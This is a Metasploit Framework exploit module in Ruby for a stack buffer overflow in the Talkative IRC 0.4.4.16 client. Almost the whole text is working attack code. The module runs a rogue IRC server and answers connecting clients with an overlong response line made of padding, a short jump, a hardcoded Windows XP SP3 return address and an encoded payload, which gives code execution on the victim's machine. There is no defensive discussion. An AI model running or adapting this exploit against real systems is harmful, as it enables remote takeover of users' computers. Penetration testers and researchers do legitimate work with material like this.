Talkative IRC 0.4.4.16 - Response Buffer Overflow

                                                ##
# $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
				When a specially crafted response string is sent to a client,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '64582'],
					[ 'BID', '34141' ],
					[ 'URL', 'http://milw0rm.com/exploits/8227' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment'  => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English',	{ 'Ret' => 0x72d1146b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 17 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
			], self.class)
	end

	def on_client_connect(client)
		res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
		client.put(res)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
		sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
		sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
		sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

		client.put(sploit)

		handler
		service.close_client(client)
	end

end